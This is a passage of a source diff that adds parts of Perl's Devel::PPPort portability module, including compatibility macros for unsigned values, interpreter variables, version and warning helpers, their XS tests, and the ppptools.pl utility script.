+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+SvUOK
+
+=implementation
+
+__UNDEFINED__ sv_setuv(sv, uv) \
+ STMT_START { \
+ UV TeMpUv = uv; \
+ if (TeMpUv <= IV_MAX) \
+ sv_setiv(sv, TeMpUv); \
+ else \
+ sv_setnv(sv, (double)TeMpUv); \
+ } STMT_END
+
+__UNDEFINED__ newSVuv(uv) ((uv) <= IV_MAX ? newSViv((IV)uv) : newSVnv((NV)uv))
+
+__UNDEFINED__ sv_2uv(sv) ((PL_Sv = (sv)), (UV) (SvNOK(PL_Sv) ? SvNV(PL_Sv) : sv_2nv(PL_Sv)))
+__UNDEFINED__ SvUVX(sv) ((UV)SvIVX(sv))
+__UNDEFINED__ SvUVXx(sv) SvUVX(sv)
+__UNDEFINED__ SvUV(sv) (SvIOK(sv) ? SvUVX(sv) : sv_2uv(sv))
+__UNDEFINED__ SvUVx(sv) ((PL_Sv = (sv)), SvUV(PL_Sv))
+
+/* Hint: sv_uv
+ * Always use the SvUVx() macro instead of sv_uv().
+ */
+__UNDEFINED__ sv_uv(sv) SvUVx(sv)
+
+#if !defined(SvUOK) && defined(SvIOK_UV)
+# define SvUOK(sv) SvIOK_UV(sv)
+#endif
+
+__UNDEFINED__ XST_mUV(i,v) (ST(i) = sv_2mortal(newSVuv(v)) )
+__UNDEFINED__ XSRETURN_UV(v) STMT_START { XST_mUV(0,v); XSRETURN(1); } STMT_END
+
+__UNDEFINED__ PUSHu(u) STMT_START { sv_setuv(TARG, (UV)(u)); PUSHTARG; } STMT_END
+__UNDEFINED__ XPUSHu(u) STMT_START { sv_setuv(TARG, (UV)(u)); XPUSHTARG; } STMT_END
+
+=xsubs
+
+SV *
+sv_setuv(uv)
+ UV uv
+ CODE:
+ RETVAL = newSViv(1);
+ sv_setuv(RETVAL, uv);
+ OUTPUT:
+ RETVAL
+
+SV *
+newSVuv(uv)
+ UV uv
+ CODE:
+ RETVAL = newSVuv(uv);
+ OUTPUT:
+ RETVAL
+
+UV
+sv_2uv(sv)
+ SV *sv
+ CODE:
+ RETVAL = sv_2uv(sv);
+ OUTPUT:
+ RETVAL
+
+UV
+SvUVx(sv)
+ SV *sv
+ CODE:
+ sv--;
+ RETVAL = SvUVx(++sv);
+ OUTPUT:
+ RETVAL
+
+void
+XSRETURN_UV()
+ PPCODE:
+ XSRETURN_UV(42);
+
+void
+PUSHu()
+ PREINIT:
+ dTARG;
+ PPCODE:
+ TARG = sv_newmortal();
+ EXTEND(SP, 1);
+ PUSHu(42);
+ XSRETURN(1);
+
+void
+XPUSHu()
+ PREINIT:
+ dTARG;
+ PPCODE:
+ TARG = sv_newmortal();
+ XPUSHu(43);
+ XSRETURN(1);
+
+=tests plan => 10
+
+ok(&Devel::PPPort::sv_setuv(42), 42);
+ok(&Devel::PPPort::newSVuv(123), 123);
+ok(&Devel::PPPort::sv_2uv("4711"), 4711);
+ok(&Devel::PPPort::sv_2uv("1735928559"), 1735928559);
+ok(&Devel::PPPort::SvUVx("1735928559"), 1735928559);
+ok(&Devel::PPPort::SvUVx(1735928559), 1735928559);
+ok(&Devel::PPPort::SvUVx(0xdeadbeef), 0xdeadbeef);
+ok(&Devel::PPPort::XSRETURN_UV(), 42);
+ok(&Devel::PPPort::PUSHu(), 42);
+ok(&Devel::PPPort::XPUSHu(), 43);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/variables b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/variables
new file mode 100644
index 00000000000..afa53a68332
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/variables
@@ -0,0 +1,491 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+PL_ppaddr
+PL_no_modify
+PL_DBsignal
+PL_DBsingle
+PL_DBsub
+PL_DBtrace
+PL_Sv
+PL_bufend
+PL_bufptr
+PL_compiling
+PL_copline
+PL_curcop
+PL_curstash
+PL_debstash
+PL_defgv
+PL_diehook
+PL_dirty
+PL_dowarn
+PL_errgv
+PL_error_count
+PL_expect
+PL_hexdigit
+PL_hints
+PL_in_my
+PL_in_my_stash
+PL_laststatval
+PL_lex_state
+PL_lex_stuff
+PL_linestr
+PL_na
+PL_parser
+PL_perl_destruct_level
+PL_perldb
+PL_rsfp_filters
+PL_rsfp
+PL_stack_base
+PL_stack_sp
+PL_statcache
+PL_stdingv
+PL_sv_arenaroot
+PL_sv_no
+PL_sv_undef
+PL_sv_yes
+PL_tainted
+PL_tainting
+PL_tokenbuf
+PL_signals
+PERL_SIGNALS_UNSAFE_FLAG
+
+=implementation
+
+#ifndef PERL_SIGNALS_UNSAFE_FLAG
+
+#define PERL_SIGNALS_UNSAFE_FLAG 0x0001
+
+#if { VERSION < 5.8.0 }
+# define D_PPP_PERL_SIGNALS_INIT PERL_SIGNALS_UNSAFE_FLAG
+#else
+# define D_PPP_PERL_SIGNALS_INIT 0
+#endif
+
+__NEED_VAR__ U32 PL_signals = D_PPP_PERL_SIGNALS_INIT;
+
+#endif
+
+/* Hint: PL_ppaddr
+ * Calling an op via PL_ppaddr requires passing a context argument
+ * for threaded builds. Since the context argument is different for
+ * 5.005 perls, you can use aTHXR (supplied by ppport.h), which will
+ * automatically be defined as the correct argument.
+ */
+
+#if { VERSION <= 5.005_05 }
+/* Replace: 1 */
+# define PL_ppaddr ppaddr
+# define PL_no_modify no_modify
+/* Replace: 0 */
+#endif
+
+#if { VERSION <= 5.004_05 }
+/* Replace: 1 */
+# define PL_DBsignal DBsignal
+# define PL_DBsingle DBsingle
+# define PL_DBsub DBsub
+# define PL_DBtrace DBtrace
+# define PL_Sv Sv
+# define PL_bufend bufend
+# define PL_bufptr bufptr
+# define PL_compiling compiling
+# define PL_copline copline
+# define PL_curcop curcop
+# define PL_curstash curstash
+# define PL_debstash debstash
+# define PL_defgv defgv
+# define PL_diehook diehook
+# define PL_dirty dirty
+# define PL_dowarn dowarn
+# define PL_errgv errgv
+# define PL_error_count error_count
+# define PL_expect expect
+# define PL_hexdigit hexdigit
+# define PL_hints hints
+# define PL_in_my in_my
+# define PL_laststatval laststatval
+# define PL_lex_state lex_state
+# define PL_lex_stuff lex_stuff
+# define PL_linestr linestr
+# define PL_na na
+# define PL_perl_destruct_level perl_destruct_level
+# define PL_perldb perldb
+# define PL_rsfp_filters rsfp_filters
+# define PL_rsfp rsfp
+# define PL_stack_base stack_base
+# define PL_stack_sp stack_sp
+# define PL_statcache statcache
+# define PL_stdingv stdingv
+# define PL_sv_arenaroot sv_arenaroot
+# define PL_sv_no sv_no
+# define PL_sv_undef sv_undef
+# define PL_sv_yes sv_yes
+# define PL_tainted tainted
+# define PL_tainting tainting
+# define PL_tokenbuf tokenbuf
+/* Replace: 0 */
+#endif
+
+/* Warning: PL_parser
+ * For perl versions earlier than 5.9.5, this is an always
+ * non-NULL dummy. Also, it cannot be dereferenced. Don't
+ * use it if you can avoid is and unless you absolutely know
+ * what you're doing.
+ * If you always check that PL_parser is non-NULL, you can
+ * define DPPP_PL_parser_NO_DUMMY to avoid the creation of
+ * a dummy parser structure.
+ */
+
+#if { VERSION >= 5.9.5 }
+# ifdef DPPP_PL_parser_NO_DUMMY
+# define D_PPP_my_PL_parser_var(var) ((PL_parser ? PL_parser : \
+ (croak("panic: PL_parser == NULL in %s:%d", \
+ __FILE__, __LINE__), (yy_parser *) NULL))->var)
+# else
+# ifdef DPPP_PL_parser_NO_DUMMY_WARNING
+# define D_PPP_parser_dummy_warning(var)
+# else
+# define D_PPP_parser_dummy_warning(var) \
+ warn("warning: dummy PL_" #var " used in %s:%d", __FILE__, __LINE__),
+# endif
+# define D_PPP_my_PL_parser_var(var) ((PL_parser ? PL_parser : \
+ (D_PPP_parser_dummy_warning(var) &DPPP_(dummy_PL_parser)))->var)
+__NEED_DUMMY_VAR__ yy_parser PL_parser;
+# endif
+
+/* PL_expect, PL_copline, PL_rsfp, PL_rsfp_filters, PL_linestr, PL_bufptr, PL_bufend, PL_lex_state, PL_lex_stuff, PL_tokenbuf depends on PL_parser */
+/* Warning: PL_expect, PL_copline, PL_rsfp, PL_rsfp_filters, PL_linestr, PL_bufptr, PL_bufend, PL_lex_state, PL_lex_stuff, PL_tokenbuf
+ * Do not use this variable unless you know exactly what you're
+ * doing. It is internal to the perl parser and may change or even
+ * be removed in the future. As of perl 5.9.5, you have to check
+ * for (PL_parser != NULL) for this variable to have any effect.
+ * An always non-NULL PL_parser dummy is provided for earlier
+ * perl versions.
+ * If PL_parser is NULL when you try to access this variable, a
+ * dummy is being accessed instead and a warning is issued unless
+ * you define DPPP_PL_parser_NO_DUMMY_WARNING.
+ * If DPPP_PL_parser_NO_DUMMY is defined, the code trying to access
+ * this variable will croak with a panic message.
+ */
+
+# define PL_expect D_PPP_my_PL_parser_var(expect)
+# define PL_copline D_PPP_my_PL_parser_var(copline)
+# define PL_rsfp D_PPP_my_PL_parser_var(rsfp)
+# define PL_rsfp_filters D_PPP_my_PL_parser_var(rsfp_filters)
+# define PL_linestr D_PPP_my_PL_parser_var(linestr)
+# define PL_bufptr D_PPP_my_PL_parser_var(bufptr)
+# define PL_bufend D_PPP_my_PL_parser_var(bufend)
+# define PL_lex_state D_PPP_my_PL_parser_var(lex_state)
+# define PL_lex_stuff D_PPP_my_PL_parser_var(lex_stuff)
+# define PL_tokenbuf D_PPP_my_PL_parser_var(tokenbuf)
+# define PL_in_my D_PPP_my_PL_parser_var(in_my)
+# define PL_in_my_stash D_PPP_my_PL_parser_var(in_my_stash)
+# define PL_error_count D_PPP_my_PL_parser_var(error_count)
+
+
+#else
+
+/* ensure that PL_parser != NULL and cannot be dereferenced */
+# define PL_parser ((void *) 1)
+
+#endif
+
+=xsinit
+
+#define NEED_PL_signals
+#define NEED_PL_parser
+#define DPPP_PL_parser_NO_DUMMY_WARNING
+
+=xsmisc
+
+U32 get_PL_signals_1(void)
+{
+#ifdef PERL_NO_GET_CONTEXT
+ dTHX;
+#endif
+ return PL_signals;
+}
+
+extern U32 get_PL_signals_2(void);
+extern U32 get_PL_signals_3(void);
+int no_dummy_parser_vars(int);
+int dummy_parser_warning(void);
+
+/* No PTRSIZE IN 5.004 and below, so PTR2IV would warn and possibly misbehave */
+#if { VERSION > 5.004 }
+ #define ppp_TESTVAR(var) STMT_START { mXPUSHi(PTR2IV(&var)); count++; } STMT_END
+#else
+ #define ppp_TESTVAR(var) STMT_START { mXPUSHi(&var); count++; } STMT_END
+#endif
+
+#define ppp_PARSERVAR(type, var) STMT_START { \
+ type volatile my_ ## var; \
+ type volatile *my_p_ ## var; \
+ my_ ## var = var; \
+ my_p_ ## var = &var; \
+ var = my_ ## var; \
+ var = *my_p_ ## var; \
+ mXPUSHi(&var != NULL); \
+ count++; \
+ } STMT_END
+
+#define ppp_PARSERVAR_dummy STMT_START { \
+ mXPUSHi(1); \
+ count++; \
+ } STMT_END
+
+#if { VERSION < 5.004 }
+# define ppp_rsfp_t FILE *
+#else
+# define ppp_rsfp_t PerlIO *
+#endif
+
+#if { VERSION < 5.6.0 }
+# define ppp_expect_t expectation
+#elif { VERSION < 5.9.5 }
+# define ppp_expect_t int
+#else
+# define ppp_expect_t U8
+#endif
+
+#if { VERSION < 5.9.5 }
+# define ppp_lex_state_t U32
+#else
+# define ppp_lex_state_t U8
+#endif
+
+#if { VERSION < 5.6.0 }
+# define ppp_in_my_t bool
+#elif { VERSION < 5.9.5 }
+# define ppp_in_my_t I32
+#else
+# define ppp_in_my_t U16
+#endif
+
+#if { VERSION < 5.9.5 }
+# define ppp_error_count_t I32
+#else
+# define ppp_error_count_t U8
+#endif
+
+=xsubs
+
+int
+compare_PL_signals()
+ CODE:
+ {
+ U32 ref = get_PL_signals_1();
+ RETVAL = ref == get_PL_signals_2() && ref == get_PL_signals_3();
+ }
+ OUTPUT:
+ RETVAL
+
+SV *
+PL_sv_undef()
+ CODE:
+ RETVAL = newSVsv(&PL_sv_undef);
+ OUTPUT:
+ RETVAL
+
+SV *
+PL_sv_yes()
+ CODE:
+ RETVAL = newSVsv(&PL_sv_yes);
+ OUTPUT:
+ RETVAL
+
+SV *
+PL_sv_no()
+ CODE:
+ RETVAL = newSVsv(&PL_sv_no);
+ OUTPUT:
+ RETVAL
+
+int
+PL_na(string)
+ char *string
+ CODE:
+ PL_na = strlen(string);
+ RETVAL = PL_na;
+ OUTPUT:
+ RETVAL
+
+SV *
+PL_Sv()
+ CODE:
+ PL_Sv = newSVpv("mhx", 0);
+ RETVAL = PL_Sv;
+ OUTPUT:
+ RETVAL
+
+SV *
+PL_tokenbuf()
+ CODE:
+ RETVAL = newSViv(PL_tokenbuf[0]);
+ OUTPUT:
+ RETVAL
+
+SV *
+PL_parser()
+ CODE:
+ RETVAL = newSViv(PL_parser != NULL);
+ OUTPUT:
+ RETVAL
+
+SV *
+PL_hexdigit()
+ CODE:
+ RETVAL = newSVpv((char *) PL_hexdigit, 0);
+ OUTPUT:
+ RETVAL
+
+SV *
+PL_hints()
+ CODE:
+ RETVAL = newSViv((IV) PL_hints);
+ OUTPUT:
+ RETVAL
+
+void
+PL_ppaddr(string)
+ char *string
+ PPCODE:
+ PUSHMARK(SP);
+ mXPUSHs(newSVpv(string, 0));
+ PUTBACK;
+ ENTER;
+ (void)*(PL_ppaddr[OP_UC])(aTHXR);
+ SPAGAIN;
+ LEAVE;
+ XSRETURN(1);
+
+void
+other_variables()
+ PREINIT:
+ int count = 0;
+ PPCODE:
+ ppp_TESTVAR(PL_DBsignal);
+ ppp_TESTVAR(PL_DBsingle);
+ ppp_TESTVAR(PL_DBsub);
+ ppp_TESTVAR(PL_DBtrace);
+ ppp_TESTVAR(PL_compiling);
+ ppp_TESTVAR(PL_curcop);
+ ppp_TESTVAR(PL_curstash);
+ ppp_TESTVAR(PL_debstash);
+ ppp_TESTVAR(PL_defgv);
+ ppp_TESTVAR(PL_diehook);
+#if { VERSION >= 5.13.7 }
+ /* can't get a pointer any longer */
+ mXPUSHi(PL_dirty ? 1 : 1);
+ count++;
+#else
+ ppp_TESTVAR(PL_dirty);
+#endif
+ ppp_TESTVAR(PL_dowarn);
+ ppp_TESTVAR(PL_errgv);
+ ppp_TESTVAR(PL_laststatval);
+ ppp_TESTVAR(PL_no_modify);
+ ppp_TESTVAR(PL_perl_destruct_level);
+ ppp_TESTVAR(PL_perldb);
+ ppp_TESTVAR(PL_stack_base);
+ ppp_TESTVAR(PL_stack_sp);
+ ppp_TESTVAR(PL_statcache);
+ ppp_TESTVAR(PL_stdingv);
+ ppp_TESTVAR(PL_sv_arenaroot);
+ ppp_TESTVAR(PL_tainted);
+ ppp_TESTVAR(PL_tainting);
+
+ ppp_PARSERVAR(ppp_expect_t, PL_expect);
+ ppp_PARSERVAR(line_t, PL_copline);
+ ppp_PARSERVAR(ppp_rsfp_t, PL_rsfp);
+ ppp_PARSERVAR(AV *, PL_rsfp_filters);
+ ppp_PARSERVAR(SV *, PL_linestr);
+ ppp_PARSERVAR(char *, PL_bufptr);
+ ppp_PARSERVAR(char *, PL_bufend);
+ ppp_PARSERVAR(ppp_lex_state_t, PL_lex_state);
+ ppp_PARSERVAR(SV *, PL_lex_stuff);
+ ppp_PARSERVAR(ppp_error_count_t, PL_error_count);
+ ppp_PARSERVAR(ppp_in_my_t, PL_in_my);
+#if { VERSION >= 5.5.0 }
+ ppp_PARSERVAR(HV*, PL_in_my_stash);
+#else
+ ppp_PARSERVAR_dummy;
+#endif
+ XSRETURN(count);
+
+int
+no_dummy_parser_vars(check)
+ int check
+
+int
+dummy_parser_warning()
+
+=tests plan => 52
+
+ok(Devel::PPPort::compare_PL_signals());
+
+ok(!defined(&Devel::PPPort::PL_sv_undef()));
+ok(&Devel::PPPort::PL_sv_yes());
+ok(!&Devel::PPPort::PL_sv_no());
+ok(&Devel::PPPort::PL_na("abcd"), 4);
+ok(&Devel::PPPort::PL_Sv(), "mhx");
+ok(defined &Devel::PPPort::PL_tokenbuf());
+ok($] >= 5.009005 || &Devel::PPPort::PL_parser());
+ok(&Devel::PPPort::PL_hexdigit() =~ /^[0-9a-zA-Z]+$/);
+ok(defined &Devel::PPPort::PL_hints());
+ok(&Devel::PPPort::PL_ppaddr("mhx"), "MHX");
+
+for (&Devel::PPPort::other_variables()) {
+ ok($_ != 0);
+}
+
+{
+ my @w;
+ my $fail = 0;
+ {
+ local $SIG{'__WARN__'} = sub { push @w, @_ };
+ ok(&Devel::PPPort::dummy_parser_warning());
+ }
+ if ($] >= 5.009005) {
+ ok(@w >= 0);
+ for (@w) {
+ print "# $_";
+ unless (/^warning: dummy PL_bufptr used in.*module3.*:\d+/i) {
+ warn $_;
+ $fail++;
+ }
+ }
+ }
+ else {
+ ok(@w == 0);
+ }
+ ok($fail, 0);
+}
+
+ok(&Devel::PPPort::no_dummy_parser_vars(1) >= ($] < 5.009005 ? 1 : 0));
+
+eval { &Devel::PPPort::no_dummy_parser_vars(0) };
+
+if ($] < 5.009005) {
+ ok($@, '');
+}
+else {
+ if ($@) {
+ print "# $@";
+ ok($@ =~ /^panic: PL_parser == NULL in.*module2.*:\d+/i);
+ }
+ else {
+ ok(1);
+ }
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/version b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/version
new file mode 100644
index 00000000000..c321b203c92
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/version
@@ -0,0 +1,51 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+PERL_REVISION
+PERL_VERSION
+PERL_SUBVERSION
+PERL_BCDVERSION
+
+=dontwarn
+
+PERL_PATCHLEVEL_H_IMPLICIT
+
+=implementation
+
+#ifndef PERL_REVISION
+# if !defined(__PATCHLEVEL_H_INCLUDED__) && !(defined(PATCHLEVEL) && defined(SUBVERSION))
+# define PERL_PATCHLEVEL_H_IMPLICIT
+# include <patchlevel.h>
+# endif
+# if !(defined(PERL_VERSION) || (defined(SUBVERSION) && defined(PATCHLEVEL)))
+# include <could_not_find_Perl_patchlevel.h>
+# endif
+# ifndef PERL_REVISION
+# define PERL_REVISION (5)
+ /* Replace: 1 */
+# define PERL_VERSION PATCHLEVEL
+# define PERL_SUBVERSION SUBVERSION
+ /* Replace PERL_PATCHLEVEL with PERL_VERSION */
+ /* Replace: 0 */
+# endif
+#endif
+
+#define D_PPP_DEC2BCD(dec) ((((dec)/100)<<8)|((((dec)%100)/10)<<4)|((dec)%10))
+#define PERL_BCDVERSION ((D_PPP_DEC2BCD(PERL_REVISION)<<24)|(D_PPP_DEC2BCD(PERL_VERSION)<<12)|D_PPP_DEC2BCD(PERL_SUBVERSION))
+
+/* It is very unlikely that anyone will try to use this with Perl 6
+ (or greater), but who knows.
+ */
+#if PERL_REVISION != 5
+# error ppport.h only works with Perl version 5
+#endif /* PERL_REVISION != 5 */
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/warn b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/warn
new file mode 100644
index 00000000000..8f8f8ff337f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/warn
@@ -0,0 +1,168 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+ckWARN
+warner
+Perl_warner
+Perl_warner_nocontext
+
+=implementation
+
+__UNDEFINED__ WARN_ALL 0
+__UNDEFINED__ WARN_CLOSURE 1
+__UNDEFINED__ WARN_DEPRECATED 2
+__UNDEFINED__ WARN_EXITING 3
+__UNDEFINED__ WARN_GLOB 4
+__UNDEFINED__ WARN_IO 5
+__UNDEFINED__ WARN_CLOSED 6
+__UNDEFINED__ WARN_EXEC 7
+__UNDEFINED__ WARN_LAYER 8
+__UNDEFINED__ WARN_NEWLINE 9
+__UNDEFINED__ WARN_PIPE 10
+__UNDEFINED__ WARN_UNOPENED 11
+__UNDEFINED__ WARN_MISC 12
+__UNDEFINED__ WARN_NUMERIC 13
+__UNDEFINED__ WARN_ONCE 14
+__UNDEFINED__ WARN_OVERFLOW 15
+__UNDEFINED__ WARN_PACK 16
+__UNDEFINED__ WARN_PORTABLE 17
+__UNDEFINED__ WARN_RECURSION 18
+__UNDEFINED__ WARN_REDEFINE 19
+__UNDEFINED__ WARN_REGEXP 20
+__UNDEFINED__ WARN_SEVERE 21
+__UNDEFINED__ WARN_DEBUGGING 22
+__UNDEFINED__ WARN_INPLACE 23
+__UNDEFINED__ WARN_INTERNAL 24
+__UNDEFINED__ WARN_MALLOC 25
+__UNDEFINED__ WARN_SIGNAL 26
+__UNDEFINED__ WARN_SUBSTR 27
+__UNDEFINED__ WARN_SYNTAX 28
+__UNDEFINED__ WARN_AMBIGUOUS 29
+__UNDEFINED__ WARN_BAREWORD 30
+__UNDEFINED__ WARN_DIGIT 31
+__UNDEFINED__ WARN_PARENTHESIS 32
+__UNDEFINED__ WARN_PRECEDENCE 33
+__UNDEFINED__ WARN_PRINTF 34
+__UNDEFINED__ WARN_PROTOTYPE 35
+__UNDEFINED__ WARN_QW 36
+__UNDEFINED__ WARN_RESERVED 37
+__UNDEFINED__ WARN_SEMICOLON 38
+__UNDEFINED__ WARN_TAINT 39
+__UNDEFINED__ WARN_THREADS 40
+__UNDEFINED__ WARN_UNINITIALIZED 41
+__UNDEFINED__ WARN_UNPACK 42
+__UNDEFINED__ WARN_UNTIE 43
+__UNDEFINED__ WARN_UTF8 44
+__UNDEFINED__ WARN_VOID 45
+__UNDEFINED__ WARN_ASSERTIONS 46
+
+__UNDEFINED__ packWARN(a) (a)
+
+#ifndef ckWARN
+# ifdef G_WARN_ON
+# define ckWARN(a) (PL_dowarn & G_WARN_ON)
+# else
+# define ckWARN(a) PL_dowarn
+# endif
+#endif
+
+#if { VERSION >= 5.004 } && !defined(warner)
+#if { NEED warner }
+
+void
+warner(U32 err, const char *pat, ...)
+{
+ SV *sv;
+ va_list args;
+
+ PERL_UNUSED_ARG(err);
+
+ va_start(args, pat);
+ sv = vnewSVpvf(pat, &args);
+ va_end(args);
+ sv_2mortal(sv);
+ warn("%s", SvPV_nolen(sv));
+}
+
+#define warner Perl_warner
+
+#define Perl_warner_nocontext Perl_warner
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_warner
+
+=xsubs
+
+void
+warner()
+ CODE:
+#if { VERSION >= 5.004 }
+ warner(packWARN(WARN_MISC), "warner %s:%d", "bar", 42);
+#endif
+
+void
+Perl_warner()
+ CODE:
+#if { VERSION >= 5.004 }
+ Perl_warner(aTHX_ packWARN(WARN_MISC), "Perl_warner %s:%d", "bar", 42);
+#endif
+
+void
+Perl_warner_nocontext()
+ CODE:
+#if { VERSION >= 5.004 }
+ Perl_warner_nocontext(packWARN(WARN_MISC), "Perl_warner_nocontext %s:%d", "bar", 42);
+#endif
+
+void
+ckWARN()
+ CODE:
+#if { VERSION >= 5.004 }
+ if (ckWARN(WARN_MISC))
+ Perl_warner_nocontext(packWARN(WARN_MISC), "ckWARN %s:%d", "bar", 42);
+#endif
+
+=tests plan => 5
+
+$^W = 0;
+
+my $warning;
+
+$SIG{'__WARN__'} = sub { $warning = $_[0] };
+
+$warning = '';
+Devel::PPPort::warner();
+ok($] >= 5.004 ? $warning =~ /^warner bar:42/ : $warning eq '');
+
+$warning = '';
+Devel::PPPort::Perl_warner();
+ok($] >= 5.004 ? $warning =~ /^Perl_warner bar:42/ : $warning eq '');
+
+$warning = '';
+Devel::PPPort::Perl_warner_nocontext();
+ok($] >= 5.004 ? $warning =~ /^Perl_warner_nocontext bar:42/ : $warning eq '');
+
+$warning = '';
+Devel::PPPort::ckWARN();
+ok($warning, '');
+
+$^W = 1;
+
+$warning = '';
+Devel::PPPort::ckWARN();
+ok($] >= 5.004 ? $warning =~ /^ckWARN bar:42/ : $warning eq '');
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/ppport.fnc b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/ppport.fnc
new file mode 100644
index 00000000000..efa648f81ea
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/ppport.fnc
@@ -0,0 +1,23 @@
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+:
+: Perl/Pollution/Portability
+:
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+:
+: Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+: Version 2.x, Copyright (C) 2001, Paul Marquess.
+: Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+:
+: This program is free software; you can redistribute it and/or
+: modify it under the same terms as Perl itself.
+:
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+
+:
+: This file lists all API functions/macros that are provided purely
+: by Devel::PPPort. It is in the same format as the F<embed.fnc> that
+: ships with the Perl source code.
+:
+
+Am |void |sv_magic_portable|NN SV* sv|NULLOK SV* obj|int how|NULLOK const char* name \
+ |I32 namlen
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/ppptools.pl b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/ppptools.pl
new file mode 100644
index 00000000000..62e533909d9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/ppptools.pl
@@ -0,0 +1,404 @@
+################################################################################
+#
+# ppptools.pl -- various utility functions
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+sub cat_file
+{
+ eval { require File::Spec };
+ return $@ ? join('/', @_) : File::Spec->catfile(@_);
+}
+
+sub all_files_in_dir
+{
+ my $dir = shift;
+ local *DIR;
+
+ opendir DIR, $dir or die "cannot open directory $dir: $!\n";
+ my @files = grep { !-d && !/^\./ } readdir DIR; # no dirs or hidden files
+ closedir DIR;
+
+ return map { cat_file($dir, $_) } sort @files;
+}
+
+sub parse_todo
+{
+ my $dir = shift || 'parts/todo';
+ local *TODO;
+ my %todo;
+ my $todo;
+
+ for $todo (all_files_in_dir($dir)) {
+ open TODO, $todo or die "cannot open $todo: $!\n";
+ my $perl = <TODO>;
+ chomp $perl;
+ while (<TODO>) {
+ chomp;
+ s/#.*//;
+ s/^\s+//; s/\s+$//;
+ /^\s*$/ and next;
+ /^\w+$/ or die "invalid identifier: $_\n";
+ exists $todo{$_} and die "duplicate identifier: $_ ($todo{$_} <=> $perl)\n";
+ $todo{$_} = $perl;
+ }
+ close TODO;
+ }
+
+ return \%todo;
+}
+
+sub expand_version
+{
+ my($op, $ver) = @_;
+ my($r, $v, $s) = parse_version($ver);
+ $r == 5 or die "only Perl revision 5 is supported\n";
+ my $bcdver = sprintf "0x%d%03d%03d", $r, $v, $s;
+ return "(PERL_BCDVERSION $op $bcdver)";
+}
+
+sub parse_partspec
+{
+ my $file = shift;
+ my $section = 'implementation';
+ my $vsec = join '|', qw( provides dontwarn implementation
+ xsubs xsinit xsmisc xshead xsboot tests );
+ my(%data, %options);
+ local *F;
+
+ open F, $file or die "$file: $!\n";
+ while (<F>) {
+ /[ \t]+$/ and warn "$file:$.: warning: trailing whitespace\n";
+ if ($section eq 'implementation') {
+ m!//! && !m!(?:=~|s/).*//! && !m!(?:ht|f)tp(?:s)://!
+ and warn "$file:$.: warning: potential C++ comment\n";
+ }
+ /^##/ and next;
+ if (/^=($vsec)(?:\s+(.*))?/) {
+ $section = $1;
+ if (defined $2) {
+ my $opt = $2;
+ $options{$section} = eval "{ $opt }";
+ $@ and die "$file:$.: invalid options ($opt) in section $section: $@\n";
+ }
+ next;
+ }
+ push @{$data{$section}}, $_;
+ }
+ close F;
+
+ for (keys %data) {
+ my @v = @{$data{$_}};
+ shift @v while @v && $v[0] =~ /^\s*$/;
+ pop @v while @v && $v[-1] =~ /^\s*$/;
+ $data{$_} = join '', @v;
+ }
+
+ unless (exists $data{provides}) {
+ $data{provides} = ($file =~ /(\w+)\.?$/)[0];
+ }
+ $data{provides} = [$data{provides} =~ /(\S+)/g];
+
+ if (exists $data{dontwarn}) {
+ $data{dontwarn} = [$data{dontwarn} =~ /(\S+)/g];
+ }
+
+ my @prov;
+ my %proto;
+
+ if (exists $data{tests} && (!exists $data{implementation} || $data{implementation} !~ /\S/)) {
+ $data{implementation} = '';
+ }
+ else {
+ $data{implementation} =~ /\S/ or die "Empty implementation in $file\n";
+
+ my $p;
+
+ for $p (@{$data{provides}}) {
+ if ($p =~ m#^/.*/\w*$#) {
+ my @tmp = eval "\$data{implementation} =~ ${p}gm";
+ $@ and die "invalid regex $p in $file\n";
